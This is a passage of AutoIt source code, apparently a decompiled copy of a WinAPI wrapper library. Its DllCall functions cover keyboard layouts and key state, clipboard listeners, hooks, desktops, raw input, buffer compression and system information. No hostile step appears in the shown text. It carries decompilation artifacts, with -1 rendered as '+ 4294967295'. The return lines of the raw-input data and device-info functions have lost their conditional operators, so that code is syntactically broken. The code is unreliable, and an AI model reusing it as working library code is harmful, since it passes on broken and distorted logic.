Unused[2];" GLOBAL CONST $TAGRID_INFO_KEYBOARD = "dword Size;dword Type;" & $TAGRID_DEVICE_INFO_KEYBOARD GLOBAL CONST $TAGRID_INFO_HID = "dword Size;dword Type;" & $TAGRID_DEVICE_INFO_HID & ";dword Unused[2]" GLOBAL CONST $TAGUSEROBJECTFLAGS = "int Inherit;int Reserved;dword Flags" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_ACTIVATEKEYBOARDLAYOUT ($HLOCALE , $IFLAG = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "ActivateKeyboardLayout" , "handle" , $HLOCALE , "uint" , $IFLAG ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ADDCLIPBOARDFORMATLISTENER ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "AddClipboardFormatListener" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CALLNEXTHOOKEX ($HHOOK , $ICODE , $WPARAM , $LPARAM ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "lresult" , "CallNextHookEx" , "handle" , $HHOOK , "int" , $ICODE , "wparam" , $WPARAM , "lparam" , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CLOSEDESKTOP ($HDESKTOP ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "CloseDesktop" , "handle" , $HDESKTOP ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CLOSEWINDOWSTATION ($HSTATION ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "CloseWindowStation" , "handle" , $HSTATION ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_COMPRESSBUFFER ($PUNCOMPRESSEDBUFFER , $IUNCOMPRESSEDSIZE , $PCOMPRESSEDBUFFER , $ICOMPRESSEDSIZE , $IFORMATANDENGINE = 2 ) LOCAL $ARET , $PWORKSPACE = 0 , $IERROR = 0 DO $ARET = DLLCALL ("ntdll.dll" , "uint" , "RtlGetCompressionWorkSpaceSize" , "ushort" , $IFORMATANDENGINE , "ulong*" , 0 , "ulong*" , 0 ) IF @ERROR OR $ARET [0 ] THEN $IERROR = @ERROR + 20 EXITLOOP ENDIF $PWORKSPACE = __HEAPALLOC ($ARET [2 ] ) IF @ERROR THEN $IERROR = @ERROR + 100 EXITLOOP ENDIF $ARET = DLLCALL ("ntdll.dll" , "uint" , "RtlCompressBuffer" , "ushort" , $IFORMATANDENGINE , "struct*" , $PUNCOMPRESSEDBUFFER , "ulong" , $IUNCOMPRESSEDSIZE , "struct*" , $PCOMPRESSEDBUFFER , "ulong" , $ICOMPRESSEDSIZE , "ulong" , 4096 , "ulong*" , 0 , "ptr" , $PWORKSPACE ) IF @ERROR OR $ARET [0 ] OR NOT $ARET [7 ] THEN $IERROR = @ERROR + 30 EXITLOOP ENDIF UNTIL 1 __HEAPFREE ($PWORKSPACE ) IF $IERROR THEN IF ISARRAY ($ARET ) THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) ELSE RETURN SETERROR ($IERROR , 0 , 0 ) ENDIF ENDIF RETURN $ARET [7 ] ENDFUNC FUNC _WINAPI_COMPUTECRC32 ($PMEMORY , $ILENGTH ) IF _WINAPI_ISBADREADPTR ($PMEMORY , $ILENGTH ) THEN RETURN SETERROR (1 , @EXTENDED , 0 ) LOCAL $ARET = DLLCALL ("ntdll.dll" , "dword" , "RtlComputeCrc32" , "dword" , 0 , "struct*" , $PMEMORY , "int" , $ILENGTH ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CREATEDESKTOP ($SNAME , $IACCESS = 2 , $IFLAGS = 0 , $IHEAP = 0 , $TSECURITY = 0 ) LOCAL $ARET IF $IHEAP THEN $ARET = DLLCALL ("user32.dll" , "handle" , "CreateDesktopExW" , "wstr" , $SNAME , "ptr" , 0 , "ptr" , 0 , "dword" , $IFLAGS , "dword" , $IACCESS , "struct*" , $TSECURITY , "ulong" , $IHEAP , "ptr" , 0 ) ELSE $ARET = DLLCALL ("user32.dll" , "handle" , "CreateDesktopW" , "wstr" , $SNAME , "ptr" , 0 , "ptr" , 0 , "dword" , $IFLAGS , "dword" , $IACCESS , "struct*" , $TSECURITY ) ENDIF IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CREATEWINDOWSTATION ($SNAME = "" , $IACCESS = 0 , $IFLAGS = 0 , $TSECURITY = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CreateWindowStationW" , "wstr" , $SNAME , "dword" , $IFLAGS , "dword" , $IACCESS , "struct*" , $TSECURITY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_DECOMPRESSBUFFER ($PUNCOMPRESSEDBUFFER , $IUNCOMPRESSEDSIZE , $PCOMPRESSEDBUFFER , $ICOMPRESSEDSIZE , $IFORMAT = 2 ) LOCAL $ARET = DLLCALL ("ntdll.dll" , "long" , "RtlDecompressBuffer" , "ushort" , $IFORMAT , "struct*" , $PUNCOMPRESSEDBUFFER , "ulong" , $IUNCOMPRESSEDSIZE , "struct*" , $PCOMPRESSEDBUFFER , "ulong" , $ICOMPRESSEDSIZE , "ulong*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $ARET [6 ] ENDFUNC FUNC _WINAPI_DEFRAWINPUTPROC ($PARAWINPUT , $IINPUT ) LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "DefRawInputProc" , "ptr" , $PARAWINPUT , "int" , $IINPUT , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTHEADER ) ) ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_ENUMDESKTOPS ($HSTATION ) IF STRINGCOMPARE (_WINAPI_GETUSEROBJECTINFORMATION ($HSTATION , 3 ) , "WindowStation" ) THEN RETURN SETERROR (1 , 0 , 0 ) LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumDefaultProc" , "bool" , "ptr;lparam" ) DIM $__G_VENUM [101 ] = [0 ] LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EnumDesktopsW" , "handle" , $HSTATION , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , 0 ) IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN $__G_VENUM = @ERROR + 10 ENDIF DLLCALLBACKFREE ($HENUMPROC ) IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 ) __INC ($__G_VENUM , + 4294967295 ) RETURN $__G_VENUM ENDFUNC FUNC _WINAPI_ENUMDESKTOPWINDOWS ($HDESKTOP , $BVISIBLE = TRUE ) IF STRINGCOMPARE (_WINAPI_GETUSEROBJECTINFORMATION ($HDESKTOP , 3 ) , "Desktop" ) THEN RETURN SETERROR (1 , 0 , 0 ) LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumWindowsProc" , "bool" , "hwnd;lparam" ) DIM $__G_VENUM [101 ] [2 ] = [[0 ] ] LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EnumDesktopWindows" , "handle" , $HDESKTOP , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , $BVISIBLE ) IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] [0 ] THEN $__G_VENUM = @ERROR + 10 ENDIF DLLCALLBACKFREE ($HENUMPROC ) IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 ) __INC ($__G_VENUM , + 4294967295 ) RETURN $__G_VENUM ENDFUNC FUNC _WINAPI_ENUMPAGEFILES () LOCAL $AINFO = _WINAPI_GETSYSTEMINFO () LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumPageFilesProc" , "bool" , "lparam;ptr;ptr" ) DIM $__G_VENUM [101 ] [4 ] = [[0 ] ] LOCAL $ARET = DLLCALL (@SYSTEMDIR & "\psapi.dll" , "bool" , "EnumPageFilesW" , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , $AINFO [1 ] ) IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] [0 ] THEN $__G_VENUM = @ERROR + 10 ENDIF DLLCALLBACKFREE ($HENUMPROC ) IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 ) __INC ($__G_VENUM , + 4294967295 ) RETURN $__G_VENUM ENDFUNC FUNC _WINAPI_ENUMRAWINPUTDEVICES () LOCAL CONST $TAGRAWINPUTDEVICELIST = "struct;handle hDevice;dword Type;endstruct" LOCAL $TRIDL , $ILENGTH = DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTDEVICELIST ) ) LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputDeviceList" , "ptr" , 0 , "uint*" , 0 , "uint" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) IF ($ARET [0 ] = 0xFFFFFFFF ) OR (NOT $ARET [2 ] ) THEN RETURN SETERROR (10 , + 4294967295 , 0 ) LOCAL $TDATA = DLLSTRUCTCREATE ("byte[" & ($ARET [2 ] * $ILENGTH ) & "]" ) LOCAL $PDATA = DLLSTRUCTGETPTR ($TDATA ) IF @ERROR THEN RETURN SETERROR (@ERROR + 20 , 0 , 0 ) $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputDeviceList" , "ptr" , $PDATA , "uint*" , $ARET [2 ] , "uint" , $ILENGTH ) IF ($ARET [0 ] = 0xFFFFFFFF ) OR (NOT $ARET [0 ] ) THEN RETURN SETERROR (1 , + 4294967295 , 0 ) LOCAL $ARESULT [$ARET [2 ] + 1 ] [2 ] = [[$ARET [2 ] ] ] FOR $I = 1 TO $ARET [2 ] $TRIDL = DLLSTRUCTCREATE ("ptr;dword" , $PDATA + $ILENGTH * ($I + 4294967295 ) ) FOR $J = 0 TO 1 $ARESULT [$I ] [$J ] = DLLSTRUCTGETDATA ($TRIDL , $J + 1 ) NEXT NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_ENUMWINDOWSTATIONS () LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumDefaultProc" , "bool" , "ptr;lparam" ) DIM $__G_VENUM [101 ] = [0 ] LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EnumWindowStationsW" , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , 0 ) IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN $__G_VENUM = @ERROR + 10 ENDIF DLLCALLBACKFREE ($HENUMPROC ) IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 ) __INC ($__G_VENUM , + 4294967295 ) RETURN $__G_VENUM ENDFUNC FUNC _WINAPI_EXPANDENVIRONMENTSTRINGS ($SSTRING ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "ExpandEnvironmentStringsW" , "wstr" , $SSTRING , "wstr" , "" , "dword" , 4096 ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARESULT [2 ] ENDFUNC FUNC _WINAPI_GETACTIVEWINDOW () LOCAL $ARET = DLLCALL ("user32.dll" , "hwnd" , "GetActiveWindow" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETASYNCKEYSTATE ($IKEY ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "short" , "GetAsyncKeyState" , "int" , $IKEY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETCLIPBOARDSEQUENCENUMBER () LOCAL $ARET = DLLCALL ("user32.dll" , "dword" , "GetClipboardSequenceNumber" ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETCURRENTHWPROFILE () LOCAL $TAGHW_PROFILE_INFO = "dword DockInfo;wchar szHwProfileGuid[39];wchar szHwProfileName[80]" LOCAL $THWPI = DLLSTRUCTCREATE ($TAGHW_PROFILE_INFO ) LOCAL $ARET = DLLCALL ("advapi32.dll" , "bool" , "GetCurrentHwProfileW" , "struct*" , $THWPI ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ARESULT [3 ] FOR $I = 0 TO 2 $ARESULT [$I ] = DLLSTRUCTGETDATA ($THWPI , $I + 1 ) NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_GETDEFAULTPRINTER () LOCAL $ARET = DLLCALL ("winspool.drv" , "bool" , "GetDefaultPrinterW" , "wstr" , "" , "dword*" , 2048 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_GETLASTERROR () , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_GETDLLDIRECTORY () LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetDllDirectoryW" , "dword" , 4096 , "wstr" , "" ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_GETEFFECTIVECLIENTRECT ($HWND , $ACTRL , $ISTART = 0 , $IEND = + 4294967295 ) IF NOT ISARRAY ($ACTRL ) THEN LOCAL $ICTRL = $ACTRL DIM $ACTRL [1 ] = [$ICTRL ] $ISTART = 0 $IEND = 0 ENDIF IF __CHECKERRORARRAYBOUNDS ($ACTRL , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ICOUNT = $IEND - $ISTART + 1 LOCAL $TCTRL = DLLSTRUCTCREATE ("uint64[" & ($ICOUNT + 2 ) & "]" ) $ICOUNT = 2 FOR $I = $ISTART TO $IEND IF ISHWND ($ACTRL [$I ] ) THEN $ACTRL [$I ] = _WINAPI_GETDLGCTRLID ($ACTRL [$I ] ) ENDIF DLLSTRUCTSETDATA ($TCTRL , 1 , _WINAPI_MAKEQWORD (1 , $ACTRL [$I ] ) , $ICOUNT ) $ICOUNT += 1 NEXT LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT ) DLLCALL ("comctl32.dll" , "none" , "GetEffectiveClientRect" , "hwnd" , $HWND , "struct*" , $TRECT , "struct*" , $TCTRL ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $TRECT ENDFUNC FUNC _WINAPI_GETHANDLEINFORMATION ($HOBJECT ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetHandleInformation" , "handle" , $HOBJECT , "dword*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_GETIDLETIME () LOCAL $TLASTINPUTINFO = DLLSTRUCTCREATE ("uint;dword" ) DLLSTRUCTSETDATA ($TLASTINPUTINFO , 1 , DLLSTRUCTGETSIZE ($TLASTINPUTINFO ) ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetLastInputInfo" , "struct*" , $TLASTINPUTINFO ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN _WINAPI_GETTICKCOUNT () - DLLSTRUCTGETDATA ($TLASTINPUTINFO , 2 ) ENDFUNC FUNC _WINAPI_GETKEYBOARDLAYOUT ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "dword" , "GetWindowThreadProcessId" , "hwnd" , $HWND , "ptr" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) $ARET = DLLCALL ("user32.dll" , "handle" , "GetKeyboardLayout" , "dword" , $ARET [0 ] ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETKEYBOARDLAYOUTLIST () LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetKeyboardLayoutList" , "int" , 0 , "ptr" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) LOCAL $TDATA = DLLSTRUCTCREATE ("handle[" & $ARET [0 ] & "]" ) $ARET = DLLCALL ("user32.dll" , "uint" , "GetKeyboardLayoutList" , "int" , $ARET [0 ] , "struct*" , $TDATA ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ALIST [$ARET [0 ] + 1 ] = [$ARET [0 ] ] FOR $I = 1 TO $ALIST [0 ] $ALIST [$I ] = DLLSTRUCTGETDATA ($TDATA , 1 , $I ) NEXT RETURN $ALIST ENDFUNC FUNC _WINAPI_GETKEYBOARDSTATE () LOCAL $TDATA = DLLSTRUCTCREATE ("byte[256]" ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetKeyboardState" , "struct*" , $TDATA ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TDATA ENDFUNC FUNC _WINAPI_GETKEYBOARDTYPE ($ITYPE ) LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "GetKeyboardType" , "int" , $ITYPE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETKEYNAMETEXT ($LPARAM ) LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "GetKeyNameTextW" , "long" , $LPARAM , "wstr" , "" , "int" , 128 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_GETKEYSTATE ($VKEY ) LOCAL $ARET = DLLCALL ("user32.dll" , "short" , "GetKeyState" , "int" , $VKEY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETMODULEHANDLEEX ($SMODULE , $IFLAGS = 0 ) LOCAL $STYPEOFMODULE = "ptr" IF ISSTRING ($SMODULE ) THEN IF STRINGSTRIPWS ($SMODULE , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFMODULE = "wstr" ELSE $SMODULE = 0 ENDIF ENDIF LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetModuleHandleExW" , "dword" , $IFLAGS , $STYPEOFMODULE , $SMODULE , "ptr*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [3 ] ENDFUNC FUNC _WINAPI_GETMUILANGUAGE () LOCAL $ARET = DLLCALL ("comctl32.dll" , "word" , "GetMUILanguage" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETPERFORMANCEINFO () LOCAL $TPI = DLLSTRUCTCREATE ("dword;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;ulong_ptr;dword;dword;dword" ) LOCAL $ARET = DLLCALL (@SYSTEMDIR & "\psapi.dll" , "bool" , "GetPerformanceInfo" , "struct*" , $TPI , "dword" , DLLSTRUCTGETSIZE ($TPI ) ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ARESULT [13 ] FOR $I = 0 TO 12 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TPI , $I + 2 ) NEXT FOR $I = 0 TO 8 $ARESULT [$I ] *= $ARESULT [9 ] NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_GETPROCADDRESS ($HMODULE , $VNAME ) LOCAL $STYPE = "str" IF ISNUMBER ($VNAME ) THEN $STYPE = "word" LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "GetProcAddress" , "handle" , $HMODULE , $STYPE , $VNAME ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETPHYSICALLYINSTALLEDSYSTEMMEMORY () LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetPhysicallyInstalledSystemMemory" , "uint64*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_GETPROCESSSHUTDOWNPARAMETERS () LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetProcessShutdownParameters" , "dword*" , 0 , "dword*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN SETEXTENDED (NUMBER (NOT $ARET [2 ] ) , $ARET [1 ] ) ENDFUNC FUNC _WINAPI_GETPROCESSWINDOWSTATION () LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "GetProcessWindowStation" ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETPWRCAPABILITIES () IF NOT __DLL ("powrprof.dll" ) THEN RETURN SETERROR (103 , 0 , 0 ) LOCAL $TSPC = DLLSTRUCTCREATE ("byte[18];byte[3];byte;byte[8];byte[2];ulong[6];ulong[5]" ) LOCAL $ARET = DLLCALL ("powrprof.dll" , "boolean" , "GetPwrCapabilities" , "struct*" , $TSPC ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ARESULT [25 ] FOR $I = 0 TO 17 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TSPC , 1 , $I + 1 ) NEXT $ARESULT [18 ] = DLLSTRUCTGETDATA ($TSPC , 3 ) FOR $I = 19 TO 20 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TSPC , 5 , $I + 4294967278 ) NEXT FOR $I = 21 TO 24 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TSPC , 7 , $I + 4294967276 ) NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_GETRAWINPUTBUFFER ($PBUFFER , $ILENGTH ) LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputBuffer" , "struct*" , $PBUFFER , "uint*" , $ILENGTH , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTHEADER ) ) ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF ($ARET [0 ] = 0xFFFFFFFF ) OR (NOT $ARET [1 ] ) THEN RETURN SETERROR (10 , + 4294967295 , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETRAWINPUTBUFFERLENGTH () LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputBuffer" , "ptr" , 0 , "uint*" , 0 , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTHEADER ) ) ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] = 0xFFFFFFFF THEN RETURN SETERROR (10 , + 4294967295 , 0 ) RETURN $ARET [2 ] * 8 ENDFUNC FUNC _WINAPI_GETRAWINPUTDATA ($HRAWINPUT , $PBUFFER , $ILENGTH , $IFLAG ) LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputData" , "handle" , $HRAWINPUT , "uint" , $IFLAG , "struct*" , $PBUFFER , "uint*" , $ILENGTH , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTHEADER ) ) ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] = 0xFFFFFFFF THEN RETURN SETERROR (10 , + 4294967295 , 0 ) RETURN ($ARET [3 ] $ARET [0 ] $ARET [4 ] ) ENDFUNC FUNC _WINAPI_GETRAWINPUTDEVICEINFO ($HDEVICE , $PBUFFER , $ILENGTH , $IFLAG ) LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputDeviceInfoW" , "handle" , $HDEVICE , "uint" , $IFLAG , "struct*" , $PBUFFER , "uint*" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] = 0xFFFFFFFF THEN RETURN SETERROR (10 , + 4294967295 , 0 ) RETURN ($ARET [3 ] $ARET [0 ] $ARET [4 ] ) ENDFUNC FUNC _WINAPI_GETREGISTEREDRAWINPUTDEVICES ($PBUFFER , $ILENGTH ) LOCAL $ILENGTHRAW = DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTDEVICE ) ) LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRegisteredRawInputDevices" , "struct*" , $PBUFFER , "uint*" , FLOOR ($ILENGTH / $ILENGTHRAW ) , "uint" , $ILENGTHRAW ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] = 0xFFFFFFFF THEN LOCAL $ILASTERROR = _WINAPI_GETLASTERROR () IF $ILASTERROR = 122 THEN RETURN SETEXTENDED ($ILASTERROR , $ARET [2 ] * $ILENGTHRAW ) RETURN SETERROR (10 , $ILASTERROR , 0 ) ENDIF RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETSTARTUPINFO () LOCAL $TSI = DLLSTRUCTCREATE ($TAGSTARTUPINFO ) DLLCALL ("kernel32.dll" , "none" , "GetStartupInfoW" , "struct*" , $TSI ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $TSI ENDFUNC FUNC _WINAPI_GETSYSTEMDEPPOLICY () LOCAL $ARET = DLLCALL ("kernel32.dll" , "uint" , "GetSystemDEPPolicy" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETSYSTEMINFO () LOCAL $SPROC IF _WINAPI_ISWOW64PROCESS () THEN $SPROC = "GetNativeSystemInfo" ELSE $SPROC = "GetSystemInfo" ENDIF LOCAL CONST $TAGSYSTEMINFO = "struct;word ProcessorArchitecture;word Reserved; endstruct;dword PageSize;" & "ptr MinimumApplicationAddress;ptr MaximumApplicationAddress;dword_ptr ActiveProcessorMask;dword NumberOfProcessors;" & "dword ProcessorType;dword AllocationGranularity;word ProcessorLevel;word ProcessorRevision" LOCAL $TSYSTEMINFO = DLLSTRUCTCREATE ($TAGSYSTEMINFO ) DLLCALL ("kernel32.dll" , "none" , $SPROC , "struct*" , $TSYSTEMINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $ARESULT [10 ] $ARESULT [0 ] = DLLSTRUCTGETDATA ($TSYSTEMINFO , 1 ) FOR $I = 1 TO 9 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TSYSTEMINFO , $I + 2 ) NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_GETSYSTEMPOWERSTATUS () LOCAL $TAGSYSTEM_POWER_STATUS = "byte ACLineStatus;byte BatteryFlag;byte BatteryLifePercent;byte Reserved1;" & "int BatteryLifeTime;int BatteryFullLifeTime" LOCAL $TSYSTEM_POWER_STATUS = DLLSTRUCTCREATE ($TAGSYSTEM_POWER_STATUS ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetSystemPowerStatus" , "struct*" , $TSYSTEM_POWER_STATUS ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ARESULT [5 ] $ARESULT [0 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 1 ) $ARESULT [1 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 2 ) $ARESULT [2 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 3 ) $ARESULT [3 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 5 ) $ARESULT [4 ] = DLLSTRUCTGETDATA ($TSYSTEM_POWER_STATUS , 6 ) RETURN $ARESULT ENDFUNC FUNC 